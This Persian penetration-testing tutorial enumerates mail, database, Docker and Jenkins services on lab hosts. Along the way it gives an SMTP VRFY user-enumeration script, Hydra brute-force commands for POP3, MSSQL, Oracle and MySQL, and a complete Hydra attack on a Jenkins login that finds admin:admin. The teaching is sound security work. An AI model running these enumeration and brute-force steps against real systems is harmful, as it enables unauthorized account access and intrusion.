
در بخش اول آموزش جامع فاز شناسایی پیشرفته (Advanced Enumeration Phase) در کالی لینوکس به بررسی و شناسایی سرویس های FTP و SSH و Telnet پرداخته شد. در ادامه به بررسی و شناسایی سرویس های SMTP و POP3 و IMAP4 و Microsoft SQL و Oracle Database Server و MySQL و Docker Engine و Jenkins می پردازیم.
پروتکلهای ایمیل
برای مراحل شمارش و بهرهبرداری، سه پروتکل ایمیل وجود دارند که باید آنها را درک کنید:
■ SMTP: پروتکل انتقال ایمیل ساده برای ارسال ایمیلها استفاده میشود و از پورت TCP 25 بهره میبرد. SMTP میتواند از طریق SSL و با پورت 465 استفاده شود.
■ POP3: پروتکل پست آفیس نسخه 3 برای دریافت ایمیلها استفاده میشود و از پورت 110 بهره میبرد. POP3 از طریق SSL با پورت 995 استفاده میشود.
■ IMAP4: پروتکل دسترسی به پیامهای اینترنتی نسخه 4 برای ذخیره و مدیریت ایمیلها روی سرور استفاده میشود و از پورت 143 بهره میبرد. IMAP4 از طریق SSL با پورت 993 استفاده میشود.
SMTP (Port 25)
ما از میزبان آسیبپذیر Metasploitable برای این مثال استفاده خواهیم کرد. اما قبل از ادامه، بیایید سعی کنیم بفهمیم که در این مرحله به دنبال چه چیزی هستیم:
■ بررسی کنید که آیا سرور دستور VRFY را پشتیبانی میکند تا بتوانیم کاربران را شناسایی کنیم.
■ بررسی کنید که آیا یک بهرهبرداری عمومی برای سرور هدف وجود دارد. (در این مورد در آموزش های بعدی، “مرحله بهرهبرداری”، بیشتر توضیح خواهیم داد.)
شمارش پایه Nmap
برای ارزیابی میزبان هدف، از دستور شمارش پایه Nmap استفاده میکنم:
root@kali:~# nmap -sV -O -sC -p25 -T5 metasploitable.kcorp.local
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-09 14:25 EDT Nmap scan report for metasploitable.kcorp.local (172.16.0.101) Host is up (0.00033s latency). PORT STATE SERVICE VERSION 25/tcp open smtp Postfix smtpd |_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, [...]
در نتایج قبلی، دو نکته قابل توجه است:
■ متوجه شدیم که سرور دستور VRFY را پشتیبانی میکند. این دستور به ما این امکان را میدهد که کاربران سرور را شناسایی کنیم.
■ نسخه سرور ایمیل SMTP مشخص شد.
شمارش پیشرفته Nmap
در ادامه، از قدرت و ویژگیهای پیشرفته Nmap برای دریافت اطلاعات بیشتر استفاده خواهیم کرد:
root@kali:~# nmap -sV -O -p25 --script=smtp* -T5 metasploitable.kcorp.local
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-09 14:38 EDT Nmap scan report for metasploitable.kcorp.local (172.16.0.101) Host is up (0.00050s latency). PORT STATE SERVICE VERSION 25/tcp open smtp Postfix smtpd |_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, | smtp-enum-users: |_ Method RCPT returned a unhandled status code. |_smtp-open-relay: Server doesn't seem to be an open relay, all tests failed | smtp-vuln-cve2010-4344: |_ The SMTP server is not Exim: NOT VULNERABLE [...]
دو نکته مهم در نتایج اسکن قبلی وجود دارد:
■ Nmap نتوانست لیستی از کاربران سرور را نمایش دهد. (Nmap از روش RCPT برای شمارش کاربران استفاده کرد.)
■ سرور به بهرهبرداری smtp-vuln-cve2010-4344 آسیبپذیر نیست.
شمارش کاربران
در اسکن قبلی Nmap، نتوانستیم کاربران موجود روی سرور را شناسایی کنیم و این خوب است. همیشه نباید به اسکنرها برای انجام این کار اعتماد کرد!
یادآوری میکنم که دستور VRFY به شما این امکان را میدهد که کاربران سرور را شناسایی کنید. حالا بیایید این را در عمل پیادهسازی کنیم. ما از netcat برای اتصال به سرور استفاده میکنیم و دو کاربر زیر را جستجو میکنیم:
■ کاربر gus که وجود ندارد
■ کاربر root که در سرور وجود دارد
دستورهای زیر را اجرا میکنیم:
root@kali:~# nc 172.16.0.101 25
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
VRFY gus
550 5.1.1 <gus>: Recipient address rejected: User unknown in local recipient table
VRFY root
252 2.0.0 root
^C
root@kali:~#
روش قبلی دستی است. این یک بازی حدسی است و حرفهای به حساب نمیآید. از مثال قبلی یاد گرفتید که این کار چگونه انجام میشود. اما برای شمارش واقعی کاربران، باید از اسکن خودکار استفاده کنیم. در مثال بعدی، از ماژول smtp_enum در Metasploit استفاده خواهیم کرد:
msf5 > use auxiliary/scanner/smtp/smtp_enum
msf5 auxiliary(scanner/smtp/smtp_enum) > set RHOSTS 172.16.0.101
RHOSTS => 172.16.0.101
msf5 auxiliary(scanner/smtp/smtp_enum) > run
[*] 172.16.0.101:25 - 172.16.0.101:25 Banner: 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
[+] 172.16.0.101:25 - 172.16.0.101:25 Users found: , backup, bin, daemon, distccd, ftp, games, gnats, irc, libuuid, list, lp, mail, man, mysql, news, nobody, postfix, postgres, postmaster, proxy, service, sshd, sync, sys, syslog, user, uucp, www-data
[*] 172.16.0.101:25 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/smtp/smtp_enum) >
در این اسکن، Metasploit توانسته است لیستی از کاربران موجود روی سرور را شناسایی کند که شامل مواردی مانند backup, bin, daemon, ftp, games و غیره میشود. این یک روش خودکار است که نتایج دقیقتری نسبت به روش دستی فراهم میآورد.
دوباره، اجرای ابزارهای خودکار نتوانست نتیجه دقیقی به ما بدهد. اگر دقیقاً به مثال دستی قبلی نگاه کنید، دستور VRFY پاسخ داد که کاربر root وجود دارد، اما ماژول smtp_enum این کاربر را نشان نداد. اینجاست که زبانهای برنامهنویسی در این سطح مفید واقع میشوند. در مثال بعدی، یاد خواهید گرفت که چگونه اسکریپت خود را با استفاده از Python توسعه دهید. (نگران نباشید اگر متوجه نشدید؛ در ادامه این آموزش در مورد زبان Python به طور مفصلتری یاد خواهید گرفت.)
import socket
import sys
import time
def print_welcome():
print ("\r\nWelcome to the SMTP user enumeration super scan\r\n")
print ("===============================================")
def enumerate_smtp(ip_address):
# Path to the users dictionary file
users_file_path= "/usr/share/metasploit-framework/data/wordlists/
unix_users.txt"
# Open the text file in Read mode and start enumerating
with open(users_file_path,'r') as users_file:
for user in users_file:
# Clean-up the user value
user = user.strip()
# Do not process an empty user value
if user == "":
continue
try:
# Create a Socket object
sok=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the SMTP Server
sok.connect((ip_address,25))
# Receive the banner from the server first
sok.recv(1024)
# Verify if the user exists on the server using the VRFY
command
sok.send('VRFY ' + user + '\r\n')
# Sleep for 1 second so we don't flood the server
time.sleep(1)
# Get the response from the server
results=sok.recv(1024)
if (not "rejected" in results):
print ("%s : Found" % user)
except Exception:
print ("An error occured!")
finally:
# Close the connection socket
sok.close()
# Let the user know that we finished
print ("\r\nThe program has finished enumerating users.\r\n")
def main():
print_welcome()
enumerate_smtp(sys.argv[1])
if __name__ == '__main__':
main()
بیایید سعی کنیم کد Python قبلی را در پنجره ترمینال اجرا کنیم:
root@kali:~# python ./smtp_users.py 172.16.0.101 Welcome to the SMTP user enumeration super scan =============================================== backup : Found bin : Found daemon : Found distccd : Found ftp : Found games : Found gnats : Found irc : Found libuuid : Found list : Found lp : Found mail : Found man : Found mysql : Found news : Found nobody : Found postfix : Found postgres : Found postmaster : Found proxy : Found root : Found ROOT : Found service : Found sshd : Found sync : Found sys : Found syslog : Found user : Found uucp : Found www-data : Found The program has finished enumerating users.
دقیقاً! این همون چیزی هست که من بهش میگم شمارش مثل یک حرفهای! وقتی ابزارهای خودکار جواب نمیدن، اینجاست که مهارتهای برنامهنویسی وارد عمل میشه و کار رو به سطح بعدی میبره. 😎👨💻
POP3 (Port 110) و IMAP4 (Port 143)
در این مرحله، هدف ما دسترسی به صندوق ورودی یک کاربر موجود در سرور است. برای این که این کار انجام شود، باید مطمئن شویم که سرور ایمیل روی میزبان هدف نصب شده است؛ بنابراین، به دنبال موارد زیر خواهیم بود:
■ پورت POP3 (پورت 110) باز است و شاید سرور POP3 را از طریق SSL (با استفاده از پورت 995) پشتیبانی کند.
■ پورت IMAP4 (پورت 143) باز است و شاید سرور IMAP را از طریق SSL (با استفاده از پورت 993) پشتیبانی کند.
یک اسکن سریع Nmap به سرور ایمیل هدف اطلاعاتی که به دنبال آن هستیم را در اختیار ما قرار خواهد داد (این سرور ایمیل از نوع لینوکس است و نه میزبان Metasploitable):
root@kali:~# nmap -sV -O -sC -p 110,995,143,993 mail.kcorp.local
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-10 14:26 EDT
Nmap scan report for mail.kcorp.local (172.16.0.100)
Host is up (0.00035s latency).
PORT STATE SERVICE VERSION
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: SASL RESP-CODES STLS AUTH-RESP-CODE PIPELINING TOP CAPA UIDL
[...]
143/tcp open imap Dovecot imapd
[...]
993/tcp open imaps?
[...]
995/tcp open pop3s?
[...]
در این اسکن، مشخص شد که:
■ پورت 110 (POP3) باز است و از Dovecot به عنوان سرور POP3 استفاده میکند.
■ پورت 143 (IMAP4) باز است و از Dovecot برای IMAP استفاده میکند.
■ پورتهای 993 (IMAPS) و 995 (POP3S) نیز به احتمال زیاد برای اتصال امن از طریق SSL باز هستند.
این اطلاعات نشان میدهد که سرور قادر به ارائه خدمات POP3 و IMAP4 است، هم به صورت عادی و هم از طریق SSL. بهترین روش برای بهرهبرداری از حمله brute-force به POP3 این است که ابتدا کاربران را استخراج کرده و آنها را در یک فایل ذخیره کنید (که قبلاً این کار را در قسمت شمارش کاربران SMTP انجام دادهایم). این کار به شما کمک میکند تا لیستی از کاربران به دست آورید که میتوانید از آنها در حملات brute-force به POP3 استفاده کنید.
دستور صحیح برای استفاده از Hydra برای انجام حمله به POP3 به شکل زیر خواهد بود:
$ hydra -L [users file] -P [passwords file] pop3://[IP]
پس از استخراج کاربران، میتوانید از ابزارهایی مانند Hydra برای اجرای حمله brute force استفاده کنید و پسوردهای مختلف را بر اساس لیستهایی که دارید امتحان کنید. در ادامه شما یاد خواهید گرفت که چگونه از اطلاعات بهدست آمده استفاده کنید تا به صندوق ورودی کاربر gus@kcorp.local در سرور mail.kcorp.local نفوذ کنید. در حال حاضر، تمرکز خود را روی مفهوم enumeration (شمارش و شناسایی اطلاعات) قرار دهید. این مرحله برای جمعآوری دادهها و شناسایی آسیبپذیریها بسیار حیاتی است.
پروتکلهای پایگاهداده – Database Protocols
پایگاههای داده مرکز دادهها هستند و هکرهای سیاهپوش عمدتاً هدف حملات خود را بر روی دادهها قرار میدهند. باید این فرآیند را در اولویت قرار دهید زیرا پایگاهدادهها معمولاً بزرگترین ریسک امنیتی مشتری یا کارفرمای شما را شامل میشوند. متخصصان امنیت اپلیکیشن بیشتر وقت خود را صرف سختافزار کردن پایگاهدادهها میکنند، اما اگر مشتری یا کارفرمای شما این کار را انجام نداده باشد، آنگاه از این وضعیت لذت خواهید برد! این بخش به معرفی فناوریهای پایگاهداده زیر میپردازد:
- Microsoft SQL Server
- Oracle Database
- MySQL
در این مرحله، شما با مراحل شمارش پیشرفته آشنا هستید. بنابراین، در این بخش، به طور مختصر دستورات مورد نیاز برای هر یک از این پایگاهدادهها را بررسی خواهید کرد.
Microsoft SQL Server (پورت 1433)
Microsoft SQL Server محبوبترین موتور پایگاهداده در بازار است. تمام شرکتهایی که من با آنها کار کردهام، از Microsoft SQL Server برای ذخیرهسازی دادههای خود استفاده میکنند (هیچ استثنایی وجود ندارد). در مرحله شمارش، باید به دو نکته توجه کنید:
- Brute-force کردن اطلاعات ورود (سا یکی از نامهای کاربری رایج در SQL Server است): ابتدا باید کاربران را شناسایی کنید.
Brute-force کردن SQL Server:
$ hydra -L [users file] -P [passwords file] mssql://[IP]
اسکن شمارش ابتدایی SQL Server:
$ nmap -sV -O -sC -p 1433 [IP Address]
اسکن شمارش پیشرفته SQL Server:
$ nmap -sV -O -p 1433 --script=ms-sql* [IP Address]
شناسایی نسخه نصب شده و ارزیابی اینکه آیا آسیبپذیر است (آیا پچ خاصی گم شده است؟)
این مراحل به شما کمک میکند تا SQL Server را بهدرستی اسکن کرده و آسیبپذیریها یا مشکلات امنیتی احتمالی آن را شناسایی کنید.
Oracle Database Server (پورت 1521)
پایگاهداده Oracle از پورت TCP 1521 برای ارتباط استفاده میکند و همان مفاهیم مربوط به شمارش اطلاعات که برای Microsoft SQL Server اعمال میشود، برای Oracle نیز قابل استفاده است:
- Brute-forcing اطلاعات ورود
حمله brute-force برای پیدا کردن نامهای کاربری و پسوردهای صحیح. - شناسایی آسیبپذیری نسخه نصبشده
بررسی آسیبپذیریهای موجود در نسخه نصبشده پایگاهداده.
دستورات برای شمارش پایگاهداده Oracle:
اسکن شمارش ابتدایی پایگاهداده Oracle:
$ nmap -sV -O -sC -p 1521 [IP Address]
اسکن شمارش پیشرفته پایگاهداده Oracle:
$ nmap -sV -O -p 1521 --script=oracle* [IP Address]
Brute-force کردن پایگاهداده Oracle با Hydra:
$ hydra -s 1521 -L [users file] -P [passwords file] [IP]
MySQL (پورت 3306)
پایگاهداده MySQL از پورت TCP 3306 برای ارتباط استفاده میکند و همان مفاهیم شمارش اطلاعات که برای Oracle و Microsoft SQL Server توضیح داده شد، برای MySQL نیز قابل اعمال است:
- Brute-forcing اطلاعات ورود
حمله brute-force برای پیدا کردن نامهای کاربری و پسوردهای صحیح. - شناسایی آسیبپذیری نسخه نصبشده
بررسی آسیبپذیریهای نسخه نصبشده پایگاهداده.
دستورات برای شمارش پایگاهداده MySQL:
اسکن شمارش ابتدایی پایگاهداده MySQL:
$ nmap -sV -O -sC -p 3306 [IP Address]
اسکن شمارش پیشرفته پایگاهداده MySQL:
$ nmap -sV -O -p 3306 --script=mysql* [IP Address]
Brute-force کردن پایگاهداده MySQL با Hydra:
$ hydra -L [users file] -P [passwords file] MySQL://[IP]
CI/CD Protocols
CI/CD (یکپارچگی مداوم/استقرار مداوم) روند جدیدی در پروژهها است که ارتباط نزدیکی با DevOps دارد. این روند به تیمهای توسعه نرمافزار کمک میکند تا به طور مستمر تغییرات کد را ادغام کرده و به محیطهای عملیاتی منتقل کنند. در این بخش، دو ابزار اصلی مورد استفاده در روند CI/CD مورد بررسی قرار خواهد گرفت:
- Docker Containers
Docker یکی از ابزارهای محبوب برای ایجاد و مدیریت کانتینرهای نرمافزاری است. کانتینرها به توسعهدهندگان این امکان را میدهند که برنامهها را همراه با تمام وابستگیهای لازم برای اجرا، به صورت یکپارچه و در هر محیطی اجرا کنند. این ویژگی باعث کاهش مشکلات مربوط به تطابق محیطهای مختلف میشود و امنیت کانتینرها میتواند هدف حملات قرار گیرد، مخصوصاً اگر به درستی پیکربندی نشده باشند. - Jenkins
Jenkins یک ابزار اتوماسیون منبع باز است که برای تسهیل پیادهسازی CI/CD استفاده میشود. Jenkins با یکپارچهسازی و اجرای مراحل ساخت، تست و استقرار نرمافزار به طور خودکار به توسعهدهندگان کمک میکند. این ابزار اغلب برای اجرای اسکریپتهای مختلف و همچنین نظارت بر فرآیندهای CI/CD در پروژهها به کار میرود. مشابه Docker، Jenkins نیز ممکن است آسیبپذیریهایی داشته باشد که میتواند به یک هدف حمله تبدیل شود.
در این بخش، ما به بررسی پروتکلها و آسیبپذیریهایی که ممکن است در این ابزارها وجود داشته باشد و نحوه بهرهبرداری از آنها خواهیم پرداخت.
Docker (Port 2375)
به طور کلی، یک میزبان که Docker را اجرا میکند ممکن است برای شما کاملاً شفاف نباشد و نمیتوان فرض کرد که میزبان هدف Docker را نصب کرده است (مثال زیر را بررسی کنید). کانتینرهای Docker معمولاً در یک شبکه جداگانه اجرا میشوند و انتخاب اینکه آیا این پورتها را باز کنند یا نه، به خود کاربر بستگی دارد. مواردی دیده شده که در آنها کارمندان Docker را در محیطهای ابری نصب کرده و شروع به باز کردن پورتها در اینترنت کردهاند، و این برای ما مفید است ما نیاز به افرادی داریم که به این صورت سیستمها را هک کنند!
در این بخش، هدف این است که بررسی کنیم که چگونه باز کردن پورتهای Docker میتواند به یک نقطه ضعف تبدیل شود و چطور میتوان از این پورتها برای دسترسی به سیستمها بهره برد. Docker ممکن است بر روی پورت 2375 اجرا شود که یک پورت باز در اینترنت میتواند آسیبپذیر باشد، خصوصاً اگر به درستی پیکربندی نشده باشد. گاهی اوقات، تحلیلگران DevOps فراتر از تصور خواهند رفت و پورت Docker engine یعنی پورت TCP 2375 (که به آن Docker daemon نیز گفته میشود) را باز میکنند. اگر این اتفاق بیفتد، به این معنی است که ما میتوانیم به طور از راه دور موتور Docker را کنترل کنیم، کانتینرها را ایجاد کرده و کارهای بیشتری انجام دهیم.
پس، اسکن یک میزبان که Docker نصب شده است و پورت دیمون آن باز نیست چگونه خواهد بود؟ در مثال زیر، ما یک میزبان لینوکسی را اسکن خواهیم کرد که Docker بر روی آن نصب شده و یک کانتینر ایمیل در حال اجرا است:
root@kali:~# nmap -sV -p- -T5 172.16.0.100 Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-12 09:51 EDT Nmap scan report for 172.16.0.100 Host is up (0.00075s latency). Not shown: 65525 closed ports PORT STATE SERVICE VERSION 25/tcp open smtp Postfix smtpd 80/tcp open http nginx 110/tcp open pop3 Dovecot pop3d 143/tcp open imap Dovecot imapd 443/tcp open ssl/http nginx 465/tcp open ssl/smtp Postfix smtpd 587/tcp open smtp Postfix smtpd 993/tcp open imaps? 995/tcp open pop3s? 4190/tcp open sieve Dovecot Pigeonhole sieve 1.0 MAC Address: 00:0C:29:55:E6:4B (VMware) Service Info: Host: mail.kcorp.local [...]
در نتایج اسکن قبلی، هیچ چیزی نشان نمیدهد که میزبان دارای موتور Docker نصب شده باشد. آنچه که مشاهده میکنیم این است که این میزبان دارای یک سرور ایمیل در حال اجرا است، اما کانتینریزه کردن سیستم غیرقابل مشاهده است. حال، ما یک میزبان دوم برای CI/CD داریم که پورت دیمون Docker (پورت TCP 2375) باز است. بر روی این میزبان لینوکس، Docker نصب شده و یک کانتینر Jenkins در حال اجرا است.
root@kali:~# nmap -sV -p- -T5 172.16.0.103 Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-12 10:06 EDT Nmap scan report for 172.16.0.103 Host is up (0.00082s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 2375/tcp open docker Docker 19.03.8 8080/tcp open http Jetty 9.2.z-SNAPSHOT 50000/tcp open http Jenkins httpd 2.60.3 MAC Address: 00:0C:29:96:F8:6C (VMware)
حال، اگر اسکن اسکریپت Nmap را علیه پورت Docker اجرا کنیم، جزئیات بیشتری خواهیم دید، اما هیچ چیز مشخصی که منجر به یک سناریو واقعی بهرهبرداری شود، مشاهده نخواهیم کرد (ما در فصل بعد این را مورد بهرهبرداری قرار خواهیم داد):
root@kali:~# nmap -sV -O --script=docker* -p 2375 -T5 172.16.0.103
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-12 11:31 EDT
Nmap scan report for 172.16.0.103
Host is up (0.00040s latency).
PORT STATE SERVICE VERSION
2375/tcp open docker Docker 19.03.8
| docker-version:
| GoVersion: go1.13.8
| KernelVersion: 5.4.0-37-generic
| Platform:
| Name:
| Arch: amd64
| GitCommit: afacb8b7f0
| Components:
| [...]
Jenkins (پورتهای 8080/50000)
Jenkins یک سیستم اورکستراتور در فرایند استقرار کد منبع است. در یک استقرار معمولی، Jenkins معمولاً به صورت روزانه (یا بر اساس زمانبندی دیگری) برای بررسی مخزن کد منبع، مثلاً از GitHub، اجرا میشود (که نیاز به ذخیره شدن اطلاعات اعتبار برای ورود به مخزن در Jenkins دارد). سپس، Jenkins کد منبع دریافتشده از مخزن را کامپایل کرده و برخی از آزمایشهای خودکار (مانند آزمایشهای واحد، آزمایشهای بازگشتی، تحلیل کد استاتیک برای امنیت و غیره) را اجرا میکند. اگر همه آزمایشها بدون هیچ گونه خطا گذر کنند، سپس کد منبع را به سرورهای توسعه (مختص به توسعهدهندگان) و سرورهای QA (مختص به تحلیلگران QA) استقرار میدهد.
پورت وبسایت مدیریت Jenkins بهطور پیشفرض روی پورت HTTP 8080 قرار دارد. علاوه بر این، Jenkins همچنین روی پورت TCP 50000 گوش میدهد؛ این پورت برای اتصال یک گره اصلی (master node) به یک یا چندین گره فرعی (slave instances) استفاده میشود. برای دسترسی به پورت وب، شما به اطلاعات اعتبار مناسب نیاز خواهید داشت تا بتوانید وارد شوید و تغییرات لازم را اعمال کنید.
در مرحلهی شناسایی، شما باید به دو چیز توجه کنید:
■ حملات بروت فورس برای یافتن اعتبارنامهها
■ شناسایی اینکه آیا نسخهی نصب شده قابل بهرهبرداری است یا خیر
تا امروز، ما اسکریپت خاصی برای Jenkins در Nmap نداریم (شاید در آینده داشته باشیم). اما با این حال، اگر از اسکن اسکریپت پایهای معمولی با استفاده از Nmap استفاده کنیم، شناسایی خواهد شد که Jenkins روی پورت 50000 در حال اجرا است. از طرف دیگر، Nmap پورت 8080 را به عنوان یک وبسرور شناسایی کرد، اما نتواست محتوای میزبانی شده روی وبسرور Jetty را رمزگشایی کند.
root@kali:~# nmap -sV -sC -O -T5 -p 8080,50000 172.16.0.103
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-15 09:16 EDT
Nmap scan report for 172.16.0.103
Host is up (0.00065s latency).
PORT STATE SERVICE VERSION
8080/tcp open http Jetty 9.2.z-SNAPSHOT
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Jetty(9.2.z-SNAPSHOT)
|_http-title: Site doesn't have a title (text/html;charset=UTF-8).
50000/tcp open http Jenkins httpd 2.60.3
|_http-server-header: 172.17.0.2
|_http-title: Site doesn't have a title (text/plain;charset=UTF-8).
MAC Address: 00:0C:29:96:F8:6C (VMware)
Warning: OSScan results may be unreliable because we could not find at
least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 (96%), Linux 3.2 - 4.9 (96%), Linux
2.6.32 - 3.10 (96%), Linux 3.4 - 3.10 (95%), Linux 3.1 (95%), Linux 3.2
(95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Synology
DiskStation Manager 5.2-5644 (94%), Netgear RAIDiator 4.2.28 (94%),
Linux 2.6.32 - 2.6.35 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
[...]
زمانی که این اتفاق میافتد (مشاهده پورت 50000 باز)، میتوانیم مستقیم به پورتال وب برویم (شکل 6.1). مرحله دوم این است که برای حمله بروت فورس آماده شویم. در یک پورتال وب، باید با یک نام کاربری و رمز عبور تصادفی شروع کنید تا پیغام خطایی که پس از ورود ناموفق نمایش داده میشود را شناسایی کنید. ما به این پیغام خطا برای حمله بروت فورس نیاز داریم، مانند پیغامی که در شکل 6.2 نشان داده شده است (نام کاربری test، رمز عبور test وارد کنید و روی دکمه ورود کلیک کنید)
Brute-Forcing a Web Portal Using Hydra
حالا شما یاد خواهید گرفت که چگونه از Hydra برای Brute-Forcing هر پورتال وب استفاده کنید (نه فقط Jenkins). میتوانیم این روند را هر بار که بخواهیم یک صفحه وب را Brute-Forcing کنیم:
- صفحه ورود را باز کنید.
- پروکسی را در Burp و مرورگر فعال کنید.
- اعتبارنامههای نامعتبر وارد کرده و دادهها را ارسال کنید (با استفاده از دکمه ارسال).
- درخواست را با استفاده از پروکسی Burp مداخله کرده و آن را به تکرارگر ارسال کنید.
- چهار مورد زیر را استخراج کنید:
■ URI
■ فیلد نام کاربری
■ فیلد رمز عبور
■ پیام خطا
توجه داشته باشید که همیشه باید سایت سازنده را بررسی کنید (فقط شماره مدل یا نام پورتال وب را در گوگل جستجو کنید) برای یافتن نام کاربری و رمز عبور پیشفرض. بسیاری از مدیران پورتالهای وب، از اعتبارنامههای پیشفرض استفاده میکنند، بنابراین نیازی به Brute-Force کردن برای ورود به سیستم نخواهید داشت. در اینجا یک مثال از یک وبسایت جذاب است که فهرستی از رمزهای عبور پیشفرض را نگهداری میکند: datarecovery.com/rd/default-passwords/
مرحله 1: فعالسازی پروکسی
ابتدا باید پروکسی را در مرورگر وب فعال کنیم. توجه داشته باشید که پروکسی Burp در پورت 8080 در میزبان Kali گوش میدهد. به پورت 8080 که وب سرور میزبان Jenkins از آن استفاده میکند، اشتباه نگیرید. ما میتوانیم از مرورگر Firefox در میزبان Kali استفاده کنیم. منوی Firefox را باز کنید، سپس به بخش Preferences بروید، به انتهای پنجره جدید پیمایش کرده و روی گزینه Settings در بخش Network Settings کلیک کنید.
حالا، دکمه رادیویی پروکسی را انتخاب کنید و اطمینان حاصل کنید که تنظیمات زیر را انجام دهید:
■ HTTP Proxy را به 127.0.0.1 تنظیم کنید.
■ پورت را به 8080 (پورت پروکسی Burp Suite، نه Jenkins) تنظیم کنید.
■ گزینه “Use This Proxy Server For All Protocols” را انتخاب کنید.
■ برای ذخیره تنظیمات، روی OK کلیک کنید.
سپس، Burp Suite را از منوی Kali باز کنید، همانطور که در شکل 6.4 نشان داده شده است.
باید چند بار روی دکمه Next کلیک کنید تا Burp Suite راهاندازی شود. وقتی که برنامه بارگذاری شد، به تب Proxy بروید و مشاهده خواهید کرد که دکمه Intercept در زیر زیرتب Intercept فعال است، همانطور که در شکل 6.5 نشان داده شده است.
مرحله 2: درخواست فرم را رهگیری کنید
به فرم ورود Jenkins برگردید، برخی از اطلاعات تصادفی را وارد کرده و روی دکمه ورود کلیک کنید. پس از ارسال فرم، به بخش Intercept در Burp Suite بروید و باید بتوانید درخواست خود را مشاهده کنید. زمانی که آن را دیدید، روی آن راستکلیک کرده و گزینه Send to Repeater را از منو انتخاب کنید، همانطور که در شکل 6.6 نشان داده شده است.
وقتی که در بخش Repeater هستید، میتوانید درخواست را مشاهده کنید. (من همیشه برای ارسال بارگذاریهای وب خود در بخش Repeater کار میکنم؛ این یکی از تبهای مورد علاقهام در Burp Suite است.)
مرحله 3: استخراج دادههای فرم ها و Brute-Force با Hydra
برای آمادهسازی موارد برای Hydra، شما نیاز دارید که سه مورد را استخراج کنید:
■ URL path: /j_acegi_security_check (خط اول در شکل 6.7 را بررسی کنید)
■ محتوای فرم POST:
j_username=test&j_password=test&from=%2F&JenkinsCrumb=6a3b8d2a8000e1aaea8566f6cec42658&json=%7B%22j_username%
22%3A+%22test%22%2C+%22j_password%22%3A+%22test%22%2C+%22remem
ber_me%22%3A+false%2C+%22from%22%3A+%22%2F%22%2C+%22Jenkins-Cru
mb%22%3A+%226a3b8d2a8000e1aaea8566f6cec42658%22%7D&Submit=log
+in (check the highlighted text in Figure 6.7)
■ Error message: اطلاعات ورود نامعتبر (به شکل 6.2 نگاه کنید)
در اینجا دستور Hydra برای تست HTTP POST آورده شده است:
$hydra -l [username] -f -e nsr -P [Passwords file] -s [port number] [IP address] http-post-form "[URL Path : POST Form Contents : Error Message]"
قبل از ادامه، مقدار نام کاربری باید از test
به ^USER^
تغییر یابد و مقدار رمز عبور که test
است باید به ^PASS^
تغییر کند. بنابراین، مقدار نهایی محتوای فرم POST باید به این صورت باشد:
j_username=^USER^&j_password=^PASS^&from=%2F&Jenkins-Crumb=6a3b8d2a8000e 1aaea8566f6cec42658&json=%7B%22j_username%22%3A+%22test%22%2C+%22j_password%22%3A+%22test%22%2C+%22remember_me%22%3A+false%2C+%22from%22%3A+%22% 2F%22%2C+%22Jenkins-Crumb%22%3A+%226a3b8d2a8000e1aaea8566f6cec42658%22%7D&Submit=log+in
وقت آن است که حمله را شروع کنیم:
hydra -l admin -f -e nsr -P /opt/SecLists/Passwords/darkweb2017-top100.
txt -s 8080 172.16.0.103 http-post-form”/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Jenkins-Crumb=6a3b8d2a8000e1aaea8566f6cec42658&json=%7B%22j_username%22%3A+%22test%22%2C+%22j_password%22%3A+%22test%22%2C+%22remember_me%22%3A+false%2C+%22from%22%3A+%22%2F%22%2C+%22Jenkins-Crumb%22%3A+%226a3b8d2a8000e1aaea8566f6cec42658%22%7D&Submit=log+in:Invalidlogin information”
[…]
[DATA] attacking http-post-form://172.16.0.103:8080/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Jenkins-Crumb=6a3b8d2a8000e1aaea8566f6cec42658&json=%7B%22j_username%22%3A+%22test%22%2C+%22j_password%22%3A+%22test%22%2C+%22remember_me%22%3A+false%2C+%22from%2
2%3A+%22%2F%22%2C+%22Jenkins-Crumb%22%3A+%226a3b8d2a8000e1aaea8566f6cec42658%22%7D&Submit=log+in:Invalid login information
[8080][http-post-form] host: 172.16.0.103 login: admin password:
admin
[STATUS] attack finished for 172.16.0.103 (valid pair found)
1 of 1 target successfully completed, 1 valid password
به نظر میرسد که یک نام کاربری و رمز عبور موفق پیدا کردهایم: admin:admin